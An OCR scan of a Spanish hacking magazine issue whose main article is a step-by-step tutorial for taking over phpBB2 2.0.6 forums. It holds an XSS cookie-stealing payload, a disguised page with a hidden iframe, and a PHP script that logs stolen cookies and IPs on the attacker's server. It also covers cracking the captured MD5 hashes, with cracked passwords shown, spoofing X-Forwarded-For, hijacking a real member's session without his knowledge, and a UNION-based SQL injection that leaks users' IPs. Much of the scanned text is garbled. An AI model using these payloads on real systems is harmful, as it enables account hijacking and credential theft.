HACK X CRACK: HACKEANDO LOS FOROS PHPBB2

Inm’es Malitiosos. Inyeccion de Codigo Malicioso
_ Spoofing Medinnte: Proxys e
um y Sl |n|mm i

N°22 -- P.V.P. 4,5 EUROS

- L

PC PASO A PASO: CURSO SOBRE FIREWALLS (1 ENTREGA)




P
J S

= A S OY

lnmowRtAL - EDITOTRANS S.L.

R B43675701
I IESSTELL N° 20, 2°- 12
e TARRKRAGONA (ESPAﬁA)

miy Emimoeial
RIS
e s P
St itictrans . com
ot e pesiblicacién
Dlmsimrmes de HACK X CRACK.
| o Tewmercial de la publicacién
R s Pea SO
1 e Escsoccrack.com
FERE MARTELL N° 20, 2° - 12,
EI00T TARRAGONA (ESPANA)

ST

Bllerees insertar publicidad en PC PASO A
BT Tememos la mejor relacion precio-difusion
B mmenssete editorial en Espania. Contacta con
[T gt =
s Sentis
o 652 495 607
([ Ml 877 023 356
publicidad@editotrans.com

||| IR

ST

ndo los Foros de Internet
sora con PC Paso a Paso
mpciones a la Revista
ace los Firewalls
wridores de Hack x Crack

rros atrasados
ICE DE ANUNCIANTES
A o8
- &7
O TECA i
“CSTALIA g

LOS CURADERMNOS DE

s Esscclilescc ramcic oy

Director de la Publicacion
J. Sentis

E-mail contacto
director@hackxcrack.com

Diseno grafico:
J. M. Velasco

E-mail contacto:
grafico@hackxcrack.com

Redactores

AZIMUT, ROTEADO, FASTIC, MORDEA, FAUSTO,
ENTROPIC MEIDOR HASHIMU!RA BACKBONE
ZORTEMIUS AK22, DORKAN KMORK MAILA
TITINA, SIMPSIM... T

Contacto redactores
redactores@hackxcrack.com

Colaboradores

Mas de 130 personas: de Espafia, de Brasil, de
Argentina, de Francia, de Alemania, de Japon y
algin Estadounidense.

E-mail contacto
colaboradores@hackxcrack.com

Imprime
.G. PRINTONE S.A. Tel 91 808 50 15

DISTRIBUCION:

SGEL, Avda. Valdeparra 29 6 ol. Ind.)
28018 ALCOBENDAS (MA RIDE
Tel 91 657 69 00 FAX 91 657 69 28
WEB: www.sgel.es

TELEFONO DE ATENCION AL CLIENTE: 977 22 45 80

Peticion de Niimeros atrasados y Suscripciones (Srta. Genoveva)
HORARIO DE ATENCION: DE 9:30 A 13:30
(LUNES A VIERNES)

© Co Kl’lght Editotrans S.L.
NUMERO 22 -- PRINTED IN SPAIN
PERIOCIDAD MENSUAL

Deposito le aI B.26805-2002
Cédigo EA 8414090202756

LOS NUMEROS ATRASAD@@EN -=> WWW.HACKXCRACK.COM




Este articulo te permite tomar el control total de cualquer foro de Internet basado en
PEPBBE en su version 2.0.6
Muestra mtencién es la de siempro. ENSENNR.
El conocmiento nes hace hbres. ne profanes jamas tu mente con actns que te desmerezcan

Hola, de nuevo...

Vamos a realizar un inciso en el curso
de seguridad v firewealls para tomar un
tema interesante, delicado v que se que
No va a caeren saco roto.,.. sudores me
enfron cuondo recuerdo alguna tarde
pensando en lo que nos pudo haber
ocwride....

Este articule persigue un objetvo final;
Entrar a un forc como administrador,

como moderador o como cualquier
otro usuario.

Para ello voy a describir varias técnicas,
mediante enlaces malicilogos &n un
post, creando una pagina web
“misteriosa”™ queé nos dara los
pardmetros necesarios, utilizando técricas
de spoofing mediante proxys,
manipular [as cabeceras de http n "a
lo bestia”, abtener el hash de cualguier
usuario y craqueandola por fuerza brute,
y €Omo no... inyectando HTML y SQL.

Todas ellas tieren algo en comin,
utilizar un bug ¢ varios bugs que han

pregunees qud es um fore. Lin gonple vade tws quu'mll pilaliras
asi gqoe pasate por Www hackxerack com y et ¢n ol fare.

Los foros on. by par bos, unsa de 155 1emaniontas maa ublzadas
donde persenas coms t o yo cumparimos wdu tipe ds
conozimientas v experienuiis. s mavoria o commidadeg tent
el suyo v o3 of punte dv reusifo o ey miembroy.

Aunque hoy ea dia existen Foos bisados en bila tip de Teapsjes
(PHP, C, Javo, HTML .. ody pur-.h.du- T plataficerse (Linux,
Windows. ... ) By ane destacs sobre todos los demds: = ahphb?
(e phipaboon, Dxstivs oo eud escrine s PHP, e sl
libre, e Facil de nstalas + teoe o soporte szalaockte bnnal (un:
ineensa comundad de usnanoch ¥ es milizada por oeles 6

comunntsies e trles,

Como ya bemos comentadn, en cste articnie estidinrees camo
pockmos “asatle™ L wasion 2006 & eated Toros. Todos fes que
participomos ea la creacidn deo esta revishy be pedimas que lve
pracheas e (e ciseiartmed boy ne ican ulibizadoss para destrui
tinguna comunidaod, Procticn capnte quuene & aprende Lo que
puedits: peta gor favor, po e e digues a hacer dano.

Tienes 3 seevidones de & orevisg a i dispecldn sars pociiear
En auestro foro {ww s hackorch tou) tenes s 1P v uxle
e, v sabes

La dedicatoria de este articulo va dirigida

en esta ocasion a todos los moderadores
y administradores de los fores de
hackxcrack, que desde Diciembre del
ano pasado, llevo déndoles la brasa con
esto... ¥ gue por razones abvias, no
hicimas puabdlico en nuestros foros 2n su
momento, shora gue ya estd parcheado...
y major no preguntes por qué se tardo
tanto.... 25 una larga historia....

ido descubridndese para foros phpBB2,
concretamente para las versiones 2.0.6
que era la de nuestro foro =

ﬂ&' Qué es un foro...

Qué 25 un foro. adsertencios v servicores e praclicas!’!

Sieres un nueve lecter v no sabes mucho de Lelenel, guizas
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Si.... 7 mcses.., 7 meses oo fotigas
Yescudriftando” post, cambiande el
password frecuentemente, apcyanoanos
en otros usuarios que les hicimos ver
nuestros temores... en fin, un calvario.
Lada vez gque me conpectaba como
administrador del foro pensaba... ya
verds... hoy es el o/a... nas pillaron...
menos mal que nNo fue asi,

Fste documentn recoge en gran parte
€5as experiencias, €505 temores... y na
solo porque cunlquicra hubicra podido
loguearse como un usuario concreto
(como Vic_Ther, como TuXeD, como
.... cualquiera de nosotros, sno porque
hasta se hubiese podido BORRAR
todos los post del foro sin necesidad
de entrar como administradores o
moderadores. ... si, si... ¢n este articulo
también lo descubrirds, con un post
“inofensive” y con cierta mala leche,
cuandh un administrador o un moderador
del faro lo lee, sin querer estard
climinandc loa post gue nas de la gena...
dsglenconsamente, sin preguntas, sin darse
cuenta y sin saber que es la que pasd
parque el mismo post que lanza el barrado
se borrara...

Para realizar todss las practicas y
aprovechar al méximo este articulo,
necesitaremos:

P Un proxy que permita maodificar las
cabeceras htip

¥ Un foro vulnerable

¥ Un Servidor Web gue permifa ejecutar
seripts php

¥ Corocer un paquito... muy poquito de
MySQL

¥ Y el presente articulo,,.

Vamos a empezar la casa por el tejado...
vamas a empezar "descubiriendo” una

PC PASO A FABO N“ 22

serie de vulnerabilidades que nos

permitiran:

¥ Obligar a un administrador o moderador
de un fore vulnerable a eliminar uno,
varios o todos los poest de "su foro®, sin
saberlo y sn darse cuenta

P Obtener el hash ce la contrasena de
cualquiera que entre en &l foro y tenga
verificada l|a casilla de “enfrar
automaticamente en cada visifa"
» Obtener el SIiD de usuario vy el JD de
usuarlo y haste la IP... y mas cositas...

Luego, usaremos una pagina web para
“Futomatizar" todo eso ¥
“despreocuparnos”

Después. . usaremos SQL injection
para realizar lo mismo y Attp spoofing

paras

® Averiguar la [P, el SID, la contrasefa
y lo que nos de |a gana de cualguier
vsuario

P Seremas capaces de postear con IP
falsa, hasta con 1P que nao existen =

Y por Gitimo:

PCombinaremaos todo la cdicho
anterormente y entraremos al foro
como otro usuario, usando su 1P, su
nick, no serd preciso saber su clave de
accesn, pero conseauremes ko lo dicho
ver sus mensajes privados, postear en
su nombre y sl se trata de un
administrador tendremos acceso a la
joya de la corona en un foro... el panel
de administracién.

® También, v dicho sea de pasc, podremaos
saltarnos los Pbaneos (s fulmos
excluidos) par IP, por nick... par lo que
nos de la real gana... ¥y mas... hasta
podamos. ... me calla.

Pagras
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s cero qus en este articulo hay casos
reales, unos contra nuestros foros
cuando eran vulnerables y otros contra....
bueno, ya lo veras... al finalizar el articulo
encontraras que este modeste servidor
entro a un foro “guir™ como moderador
del mismo sin serlo.... usurpando la
ldentidad del verdadero moderata,
Mientras escribn este articulo envi@ un
mensaje privado a los moderadores de
ese foro (por cierto, aungue este articulo
sale ahora, se escribio en Mayo aunque
wve gue repetir las practicas para obtener
las pantallas con calidad suficiente) asi
que espera que hayan tomado las
medidas correspondientas.

Yamos a empezar....

Alld por finales de diciembre de 2003
alertd a los administradores vy
moderadores del fore con un bug que en
su dia me parecd "significative”, consiste

en inyactar cédige, una simple invaeccian
de un Java Script, el consabido Cross-
Sire Scripting vuinerability

Mas informacién sabre el misma lo puedes
obtener en:

http://www.securityfocus.com/bid/9290

P [ddn Yo Cewslsd  devensin  Sege PN
Qrev O 2 @B et Bpecss @riun G KX G

R e e

2

OB 1T P Creas S0 Songties VTR Ty

T T T .. SRR~ S

T L Dot of ek e Broen sanOhs

WD 0 A oy 2 4 OO PO ST RreD php s s oo 2 sl syt
aarmriccokm < s

sl

VAR ORI by serpliew Un InBume g ox G0 OF (RO

P 5 e A Y LR YT T T g LA Y O DT TR, R TN T T FNTON
T SR WA W B P 5 § S At PR BN T T R0 LW e iy OIS IR
SRRSO I DIV G | SRR G I NR R II T ND

PR TR TV

Vamos a "comprobaric”™ con nuestros
foros...

Para cuando leas...

Pora exnende feas expas lneax, Jor Servidores de Prachay
da Hack x Crael v dihorion ey grerean oz femron ole preavivey
para gue pracugues. Para mds injormacion
WHW AaCRCCTUacR, Lok

Primern nos fogueamaos con NUestro nick
y password y NO verificamas la casilla
de Entrar avtomaticamente en cada
visita...

_ - N ® e
o Wiy Sl ALl £ LS BN
e VTR | K T A
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Una vez validados en el fero, accedemos
a cualquier subforo y nos disponemos a

Bien, ahorza pinchamos en el link que
acabamos de poner... y pasara esto;

publicar un tema... o responder un post
0 un privado... cualquier sitio que nos
dzje postear alco...

Soroart! ot et Do lover

!
SR S A TIONA TAYE S  OA0 1T LCNS TR A OV | DO 0L T L

RO ol
L1300

e |
Ll

TRV —

okiolrwrd sl gy WALY
VRS e SR

Y en el cuerpo del mensaje posteamos
e3l0;

oo e e = e L A S A OO T S A eI RN

Recibimos en nuestro navegador el
resultade del script Inyectado
alert{document.cookie)

http://www. hackxcrack.com/phpBB2/p
rvmsqg.php?mode=%22><script >alert
(duocument cookie); </script>

Ce toco eso nos fijamos en le que aparece

rodeado con circulos rojos... El sid, ¢l
auto:oglmd v ¢l userid.

! o e hacboys Wi uo e it

SRS A e S o b e Dag e

MW 2 O Nt Bivewiar duh

GIO‘ ‘.‘.] a“ g o

A L M v it 1om AT raring B S g -

R L L L o

El sid carmnbiara por cada conexidn nusva
que efactuemos con el fors, de momeanto
no nos sera de mucha ayuda, pero luego
sera Imprescindble. .

El id, es 1011, 2s el numero de usuario
que mea COFESDC”de. . caca une tenemos
un valor constante v gue se nos adjudica
cuando nos registramos par primera vez.

El autologinid, guardaré el hash de la
contraseia en MD5, siempre y cuando
el usuario haya iniciado su sesion
verificando la casilla de entrada
automatica, ro es nuestro caso, asl

Prina

¥ en lugar de pablicario le damos a la

para no liarla =

vista preliminar...

I i s que... Na Nes servira ée mucho, st hubiese
Qe (D B0 asam Jrrvmes @ a5 0050 5 entrado con la casilla verificada, veria
it My g e b s v g by b u estO.

s P A TS ORI T B TN L TR R v.:d&#m—.ﬁvn‘?‘ :
AR SN0 A4 T AN e SN TN AL L N O AL AL e v
TR e L R L TS

a5

[y

E<os dos dirculos verdes encienan la cadena
MDS del hash de mi tontraseria, que pard
este cCasaon e s
cfO984702cd8M4Er11 78139764bPp19¢cE
si nos la llevames a vn cracker de MDS
sacaremos la cortrasena, (auando explique
todo, veremos come se craquearn....)

PC PASO & PASO N°22 Pagira 7
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Claro, que esto s6lo sera asi si el
usuario entro con la casilla
verificada... y ademas... esto s2 envia
a nuestre praplo navegador, lo que seria
interzsanie es que nos enviase la cookie
a un servidor web y que ls podamoes
recibir, va sea |la nuestra ¢ la de otro
usuario, buens, por el momento nos
quedamaos con “ef concepto”

De lo gue se trata ahora ez que tras
publicar un post “de verdad" nos envie
I2s copkies de Lodo guisqQur que se pase
por ¢l hilo.,. v de preparar un servidar
web que reciba las cookies, los sid y todo
250... y daro.. tambidén tandremos que
sacar su 1P, con esos datos estaremos
en condiciones de conectarnos al
foro como si fuésemos el verdadero
usuario, vamos a construir esa web...

PAameara ros montamos nuestro servidor,
Apache, IIS, & que nas de 1a gana; pero
hay que instaiarlo con soporte a php,
puesto que vamos & usar un pequeno
scrigt para que almacene en nuestro
webserver las cookies de |1os que nos van
leyendo el post.

Obviamente hay que publicar un post en
cualquier foro "animandoe™ & visitar esa
webh, nada dificll, un inofensivo link 3 una
web "aparentemente” estupenda... ¢ de
£535 COSas QUE vemos por os furos de
"esta es mi web espere vuastros
comentaros....”, hasta pueds serun link
“dirigido”... luego veremaos mas... de
morrento 1o simple.

El asuntc es como pasar la cookie a
un webserver, no es tarea facil, no

creals... hay un problema: el %22 def
link, que no es otra cosa que la nyeccién
HTML para el script privmsg.php,
equivale a las comillas dobles (Y) v si en
ese script ponemas cualquier cosa que
lleve comillas simples o dobles, deja de
funcionar,

Y no valen las formas \" ni nada de eso. ..
es una @fa... Ahh!l Y si queréss probar
tambicr funciona con viewtozic.php,
editprofie.php, elc. ...

Asi gue nos reamos una web en un sitio
cualquiera (yo me e cree en mi prople
weabserver, pero fo puedes subir a
cualguier sitio gue soporte php v pirvia
igual de Dien|. El codigo fitmf de esa web
es 2l gque sigue y el archivo o llame
miramiweb. htmf

.'- .-m T e a el W e R el T e Y NN L S

e
N L
Mo o UET vy = XY " O hlo- 0( e ok laed Wi
LT R S R Dl PR L Lt
e T e e r-:“-l!i‘.mruthv R ALt TR S L ) S
e A
- e
-
hhy ..nu -5-.1*—4.4.
<
k-

A su vez llama a otro archivie cuyoe nombre
&5 miramiweb2.htmi

;
D SR LR N o YRS TR P S PR
Rk

Que también usa otra pagina de nombre

video.htmi

e 3l G il
| el
] oy

cpodmg harder 3 o= "duck,ani” st fleopm® widde 301" hoight 311523
ke
<laad-
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Cuando se cierra la pagina principal,

se ejecuts un script php de nombre
roba_cookie.php vy su cédigo es:

roha_cuokie, php - Bloc de notas

c? e
global SREMOTE _ADDR; 1
$rookie robada= § REQUEST[la_rookie];
$ipu=3 SERVER['REMOTE_ADDR'};
Sleookies=fopen(”’ capturacxt™,“at");
fwriteBfcookies, "wnlP: 4");
fwrite($Tcovkies, "Sipu \ra'rin'); :
fyrite3fcocldes. "cookie de HxC: ");
farite¥fcockies, "$cookie_robada Wnlr'n");
felose(Sfeooldes);

2

Buene, cxplicguemos un poquite el

cddigo.., para los despistados y para
panemaos en situacion:

El Archivo miramiweb.html

Es la pagina principal 2 incuye una funcidn
deneminaca juas, que invoca al método
open cuando se la llame y ejecuta €
sovipt roba_cookie.php pasandole como
parametro el contenido que exista en ©
oojeto window.status... cuando veamos
un caso practica se entenderd mejor,

Utilizz dos iframes, uno que “se ve” ¥
que lo llamé fr2, y otro que "no se ve*
y que lo llamé fr1.

Ef iframe fr2 carge el contenido de la
pagina miramiweb2.htm/i (que es lo
que veremos cuando se llame 3 |a pagina
principal)

SCPASOAPASO N\ 22

Ef iframe fri carga el contenido de una
pagina del foro junta con la inyeccion
HTML que utiliza el bug, v |a cockie, en

lugar de mostrarla con un
alertidocument.cockie} se pasa a 'a barra
de estado del navegador,

Par Gltima existe un form llamada

Escribe_fo, que se lanzara
inmediatamente después de cerrar la
ventanita de fa web maliciosa y sdemas
hace ia llamada a la funcion juas() que
come difimos antes le pasard ¢l contenido
de window.status (cue ya tendrad la
cookie) al script roba_cookic.php,

Esto es importante que sex asi, buena
hay otras formas, pero elegi esta. El caso
25 que como tardeara unes sequndos en
cargar la pagina del fore, sl Intentamos
pasar la cookie antes de que lo haga, no
la cazaremas, por 250 se ajecuta con el
método enunload y por eso en la web
maeliciosa hey videos, fotos, etc ., hay
que dar tiempo a que se cargue la
pagina del foro dentro del iframe firl
(te recuerdo que no lo verds porgue Liene
un tamafic de 0 x 0)

El archivo miramiweb2.html

Este no Lliene ningan misterio,
simplemente visualza una foto y muestra
un link para var “los mejores vidzos del
mundo”, el contenido de este archivo se
mostrara en el fframe fr2

window.status=docuument.cookie.

Pagina 3
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El archivo video.html

Menos misteno adn... s eso... un simple
video...

El archivo roba_cookie.php

Es un script php que grabard un archivo
ce texto con la IP del personaje que visitd
nuest-a web y la cookie que le paso la
funcién juas{) en el archivo
miramiweD,. fitml. Observa que se pasd
come parametro window.status

La variable la_cookie: es quien
almacenara el contenido de
window.status que se recibié como
parametro,

La variable ipu: es la IP del que
nos visita y se racoge de |la cabecera
X-Forwarded-For.

Bueno, pues vamos a ver como funciona

todo ¥ In damos por zanjado...

Primera, posfeamoes en un foro "ei
reclamn” para cue visiten nuestra web...

Pagina 10

Ccuando los usuvarieos que pinchen en el
enlace del post, les aparecerd otra
ventanita en €l navegador,.. 2sta

P . & A L= S
o G R e it s € 3 1 B
AWl MUy gTIA0300 et s 7,:“5

Esta es mi web.,.

S XEERRR SR A Dy
-

Como ves (rodeado on rejo) se muestra
la cookie en la barra de estadc
(window,status) tal y coma |c
explicamos en ¢l iframe fr2.

Nuestros visitantes visitan nuestra web,
pasean por 10s enlaces... aIstruran con
los videos... etc... mientras tanto en el
iframe fr2 ya se cargd por compieto ¢
script con la inyeccion HTML, ahcra se
ve... en la barrz de estado, por eso decia
yo lo de hecerlo "mas discreto”, perg
€s0,,. esto es un ejemplc...

Cuando nuestro/s visitantes cierren ese
ventana o "salgan” de nuestra web, sc¢
invacara el métaodo onwunload, s¢
ejecutara la funcion juas() y se liamara
2l script roba cookie.php. En el servidor

prssemiteacrie

web pasd esto: |

Se cred un
egrchivo
llamado
captura.txt
tal v como
debla realizar
nuestro
programa en
phpo.

PC PASO APAS0 N° 22



;QUIERES COLABORAR CON PC PASO A PASO?
PC PASO A PASO busca personas que posean conocimientos de
informatica y deseen publicar sus frakajos.

SABEMOS que muchas personas {quizas tu eres una de ellas) han creado
textos y cursos para “consumo propic” o “de unos pocos’.
SABEMOS que muchas personas tienen inquietudes periodisticas pero

nunca se han atrevido a presentar sus trabajos a una editorial,

SABEMOS que hay verdaderas “obras de arte” creadas por personas
como fu 0 yo y que nunca veran la luz.

PC PASO A PASO desea contactar contigo!

NOSOTROS PODEMOS PUBLICAR TU OBRA!!

S DESEAS MAS INFORMACION, envianos un mail 2
emplea@editotrans.com y te responderemos concretando nuestra oferta.
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5 vemos el contenido de ese archivo....

Ir\c‘o"\ﬂ LR EE T (L P T Lo

- -,-;; 3 8¢ 8 «ﬁ;lf-n PR e

PO
o Al L L S SEAN 15 e MY Ll JiRend 5 SR e il haty A gy
e L A W s U U Al e O O 4 £

l
|
.. P N
At b el AR AL el (AN e e |
TeSaan
e~

i
.-!_"4:.“.__ A e et ]

TS UTETANA asareeas e ~——— ——— g ———— .2
Ahaora tenemos Ias coocies de lcs tres
“inocenfas” que visitaron la weh, .. les
d0s primeros .usaron |a entrada
sutamatica, por tenty oblenemos loes
nashes (la que viene tras autofoginid. ...}
de las contrasefias y solo hace falta
pasarlas por el crakeador que mas rabia
nes ce. ...

Por elempico Cafn... http://www.oxid.it

T - -
’\\"J SRS PN R
v

I"m-( A--;
SORL le P }

Yy ya... tenemas gue pala ung de los
usuarios & password es mitesoroenhxc
y para el otro es kufi2

Abhh, gue no sabes el nick... venga
hambre... accedes al fora, como usuario
0 como invitago, y escribes este, en el
caso del user 1011 (es= nuimero
corresponde al userid que nos suministrd
la cookie)

brpe s hsccscrnck cordphoBEZ rulile snpPaada s usaprafilaBo =101
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Ya o szbes... asi con los demis,

Pero... <y qué paso con el tercero?
De ese no tenemos ef hash... o0 sea
qQue no podemos...

JA, =50 ¢s |0 que |2 dijo el lobo 2 los tres
cerdos, .. CLARO QUE PODEMOS, pero
antes de explicar tdme, necesito explcar
“dos fonteriac” acerca de como falsear fa
IP en un forp... buene v en mas sitios,
pero o que nos afecta en este cado es
un foro.

Vamos a necesitar dos cosas... Achilles
o proxomitron

hetp:/ /packetstormsecurity al/web/achilles-0-27. zip
http:/ /www.proxomitron.iafo /fes/ downioad/ ProxNd5). exe
tAgs W DT o TG PrOXOTMDYOF /e | FroXINAS. 7i:
Y e! parche a espafiol en:

MWWW‘

Lo haremos con Proxomitron... que
automatiza mas la tarea, aungue si
queremas “ebservar” peso a paso todo
lo gue ocurre, estd bien lo de Achilies,
pero te bartaras de modificar un paquete
de datos tras otro...

Fste es muy facil da instalar,
descomprimes el .zip en un directorio,
después descargas la traducadn o eapanol
v sustituyes el archivo ejecutable del
directoria en el que lo instalaste por «l
de la version en esparfiol, yo lo tenge en
la carpeta D:\proxo

........ [

oA e feerdls  FotaeTidon . feyis
Gun -~ 53 B N weak g gesr [
=L R L
— - P
Y tevd o \ ol,
£ Tl ' clrsis oate . )
g An
-)0 LT dv Jod et e b g
L - s 2
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Lanzamos el ejecutatle y en la barra de
tareas 0 en la bandeja del sistema
apareceré su icono... pinchamos dos
veces sobre €l o boton derecho y abrir
proxomitron

]

|

|

| Fltree de Piging Web

‘ X ' v Fikres due Ereabazados Seiertas

8 Pkros de Encabezados Entrantes
E  Coraslar Arimadonse GIF

Abeir Yerdana da Informe

Cargee Mechivo de Configuracién »
Alode ol Dlugueodor de Acchivos

Al abrirse, desmarcaremos todas las
opciones excepto la de encabezados
salientes:

i he Proxomitran

default

Pinchramos en Configurar y n |la ficha
HTTP

PC PASO & PASO N° 22

3

Elegimos el puerto {(uno que no esté
en uso, a mi me dio por e €000) v
aumentamos € tiempo de wnexiones
locales a 3600 segundos (una hora)
Aceptamos y volveremos a la pantalla
en la que empezamos.

Filtroe de [nuabezodes HTTP

S pdoads Maf s £z

# Usendugart: Hetscaps Lings Jout]
ﬁ Lhsrdgart Nedzcapn Mae B8 o]

8 Usse-Agert: Dpess SO2 (0]

g Ussdigert: SpaceBison far) !
AW duthenticate: Bler out payweod eguests

Ba]amos hastaelfmal c-on la -bsrra

de deslizamiento gue hay 2 la derecha
en la zona blenca y verificamos X-
Forwarded-For (out), s0lo de salida,
le damos a editar y en el recuadro que
pone Reemplazar por este Texto
ponemos 1.1.1.1

pr——sss s an-v g
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Lédltar glp 15lteen de ol odoe HELIP

En los numeros...

Aceptamos, Aplicamos, Aceptamas

y cerramos la ventanita del
Proxomitron ¢ gueremes... o la dejamos
tal cual, ocoma prefigras.

Ahora configuramos nuestro

navegador para gue las conexiones
salientes pasen por el proxomitron...y
e indicamos que uSaremos un proxy
con IP 127.0.0.1 por ¢l puerto 5000,
que &s el que le pusimos al proxomitron
en conngurar

Coptipmarion de lo red dedren boal (FAN)

g ummmmmwmubw Pacs ovEar
| que e coun, deshitiRe iz configuracin sutomatka,

e —

! ([ INg usar sarvider peaxy asrs draceiones kcales

| | [omestor gsonipsacin sslemitiamerte
i Dmmumawﬂmmmm
f«\'.r‘~‘u.m :
: (GRS Rl ‘.f i
! ;S«Mv prosy
Litilae L sarvidoe para au LaN. Esta configeraciin ro ca
ap&ar&a ﬂ%mmoarmm
Dk 1_'23_-9&'.._ _Perto {5000 | [cposnesavangaies...

Acaptamos, Carramos .... y abrimos
el navegador

Pigina 14

Lre Yoy ersémer oy aneferéores revisia va se han ;mb!icda'o

mackas formas ae falsear th 1 esia €5 ofra mas B

Voy a ponercs una captura de pantalla
del panel de administracion del foro, en
el que se ven las IP's de los usuarios que
hay cenectados...

Ozufif Acabamos de descubrir varias
c0sas... que podemos ponernos la IP
que nos venga en gana, byes, byes a
los baneos por IP, hasta podemos
postear con la IP de otro..,

Hasta nos puede dar por usar una que
no exista... Ly si fe ponemas otra cosa?

Por ejemplo:; Wadalbertia =, vamoes 2
ver.., configuremos el proxomitron para
que nuestra 1P sea Wadalbertia.., 0 La

pantera Rosa, cada uno a lo suye ¥

PC PASO AFASO N° 22
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Y Acepftamos... Aplicamos y
Aceptamos. ..

Ahore vamos 2 navegar 2 una de esas
webs que nos dicen 1a IP y los proxys

que usamaos., ...

Por ciemplo a www.showmyio.com

wtm.-wmm

[ Qeak 0 0 B "'MC'-“@”

m;ﬁmm' i

——— A S ARy § T 43T

wreelaer
KR e
Cavery sewee came v W L S e e s
P pdy

i LN

Wadalbertia by ,13,5_7. 2 e e
LA MACHINE  sewwmies ..

e LT Y
i heae ST LR B A e
R

. e g

P e L e e e e e e e e a ]
R P Hodo " : %

Jajaja, nuestra IP s muy cachonda...
hasta podemos cambiar mas cosas come
el user-agent y ponernos que Lsamos un
sistema operativo Guindos 33, pero...
que hard el foro?

Pues lo que puada... como no resolverd
esa IP lo mas probable es que mantenga
la Gitima con la gque entramos, (la 1.1.1.1)
¢ lgual le da por penernos otra... pero
bueno, eso ne es lo que nos interesa...
nos interesa loguearnos con la 1P
verdadera de otro...

Come tenemos lac cookias on nuastro
archivo captura.txt lo que tenemos que
hacer es l¢ slgulente:

¥ Las copiaremos v nos la llevamos al
proxomitron

¥ También cambiaremnos la IP del usuario
de esa covkie

Realmente nos vale con el SID y la IP,
vamos a ello:

=C PASO A PASO N° 22

La victima as un companemn... esta vez
&l no lo sabe... la primera vez que lo bice
me sirvié Yorkshire como conejilio de
indias... esta vez es Grullanetx, sorry y
un zbrazo, amigo....®

Primerc ponemos su IP en el
proxomitrén como ya hemos
aprendido... (quité los primeros octetcs. ..
para gque nNo s€ me mosquee Mmucho)

de INtros 40

Luego, vamoes al fiftro de encabezados
Attp y buscamos uno que dice Cookie:
Fake a cookie (out) y verificamaos |a
casilfa de Salida y le damos 2 Editar

Nneotery ation Hf”'

En la partalla de edicidn de |3 coakie falsa
reemplazamos por la cookie que le

Fagina15
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robamos anteriormente, no hace falta
que sepamos su password, ni tampoco
que el verificase la casilla de entrada
automatica... da le mismo.... |

phobb2mysol_twa:1:(1:154085: 108741 7130; };
bt 2mesgl data=ar2 {511: Sutoiopiod 780 S serl e 2687 )

SHHIde
O

=0 et

LO copiamos y se loc pegamos en
reemglazar texto

Y come siempre, Aceptamos,
Aplicamos y Aceptamos...

ESTO ES IMPORTANTE!!!

Para que¢ todo vaya bien, debemos
desconectarnas como uUsuarios
registrados del Fore, cerrar todas las
ventanas del navegador {por si acass)
y abrir una nueva...

Accedemos al fora normalmente. .. como
invitados...

e hadecrack.corm/phpBB2/index.php

Entramos camao Grullanetx sin pasar
par 2l fogin, a lo peor, tendremas que
actualizar o pinchar en Foros de
discusidn... en cualguier caso, estaremos
logueados como Grullanetx sin saber
ni SU pass, ni esperar a craquearic ¥

Paginz 16

Taata BeERue Madk
I R O Dbt At Ll £ 0

B rroe, T hacana b g IO b 18 V=0T _\'.‘nﬁ.nofm -

A partir de ahora podemos hacer lo que
gueramos en nombre de Grullanetx,
postear, verle los privados (rmmm, ya ne
hice nada de eso) o pedemos cambiarle
el perfil... y su password verdadera por
otra nueva... vy &l sera quian no pusda
entrar... pero es¢ no esta bien.

W A g Beenn b mers MeM
A . Aot g
) qu s ) D) ;{; Ju A ooark riwyis ”‘\nw\ &

N T A 0 A Ve v N By

Buena, todo esto esta muy bien... y muy
alaborado, pero... cqué hay de esa
inyeccion SQL?

Pues ahora vamos. . resulta que con
esta técnica nos va a sobrar el asunto de

FO PASO A PASO NP 22
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Propiedodes

Ia weh maliriesa, €l script, 2l servidaor
web v |a madre def coraero.

Tenemos que& averiguar oos cosas:

19°) Averiguar Ja IP, &5 para un mcd
o admin gs fécil, pero cualqulier user
también lo pucde hacer, basta poner un
avatar © firna que apunte a su wehserver
¥ Cazara Qs de todo quisquil que pase
par ¢se hile o.... usar esto:

http o/ forww. hackxerack.com/phpBB2/p

Acatamos de ver que Grulianetx es el
user 3840

Ahora escribimos todo el churro ese
{que es una consulta a la BBDD def
foro vulnerable) y ponemas el nimero
3840 donde dice 1D_DEL_USUARID
vy nes dara la IP

rivmsq.php?foider=savebox&moce=rea
dBp=99&pm_sql_user=AND% 20pm.pri
Yo M =§ :79:8 E ¥ p iesEs =

3986 20UNIONY 20SELECT %20session
gser_id session _ip.session B, sessian |
p.5ession Ip,sassion ip.session ip,sess
an_io session_ip, sessicn_ip.session_\p
Ssession_ip,session_lp session_Ip, sessi
on_ip, session_ip,session_ip,sesson_ip,
session_ip.session_ip . session_ip sessio

Avvs Do Oy Dl SN S0

o] WS S e lavasi @ e @

Qo - @

n_ipsession_lp,session_ip,session_ip.s
gssicn_ip session P, 5ession _ip, sess5ion
ip,sessicn_ip session_ip%%20FROMY%:2
IphpbbZ sessions%20WHEREY20s5€55

lon_user id=ID_DE _USUARIO%20LI
MITS201/*

ID_DEL_USUARIO: Sera el identficador
constante,,. el userid, ese no CAMBIA
NUNCA, por eiemplc para AZIMUT el
2, para Yic_Thor el 1011, basta con
puisar en ef nick de cualguier usuario
- botén derecho del raton-
propiedades y...

FC PASO APASON® 22

Intencionadamente eliminé al primer
octeto, nos muestra ia Ip en formato
Hexadecimal, gque en decimal
punteado seria

XXX seria el valor hexadecmal omitida,
el d= los cuadraditos rojos..

YYY seria el valor hexadecmal omitido,
el de los cvadraditos amarillos

A8 2c 70 en dacimal

OF o5 159 en decimal

Por Io que renemos qgue fa IP de
Gruflanetx es: XXX.YYY.70.159

Ni que dacir tene, que sale toda cormpletila
2°) Averiguar el sid, mmm esto parcce

mas complicado, podemos hacerle de
varos modos,

SPagina 17
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A.- B que yo puse con fa web “chunga”
que se puede usar de paso para cazar

as IP's

- |2 inyeccion SQL...
SEAMODS .

pero "modificads”,

La tabla cue gquarda las sesiones activas
ps phphb2 sessions, en les ejemplos
que vienen a continuacion pone phpbb
y no phpbb2 como en este fore, sdlo
es de unforo de pruebzas que tengo
montado en casa

2S0...

wmm xsyﬂtﬁm nvd. 4

F oo

l\h' U

Y.l'l‘ll_l‘vl
};htihh
|vl|:ch}u
l’l!!'l'),l
‘l)lzlh'.
phphb
thuf}

l"‘ T
phphb
Vin :
php

] Mv),),
|\|uo' h
phphh
phphhb
phphbly
phphb
])lp} b

shphbb
..i‘;?htl

;’;l\‘l}lv

shipbhh

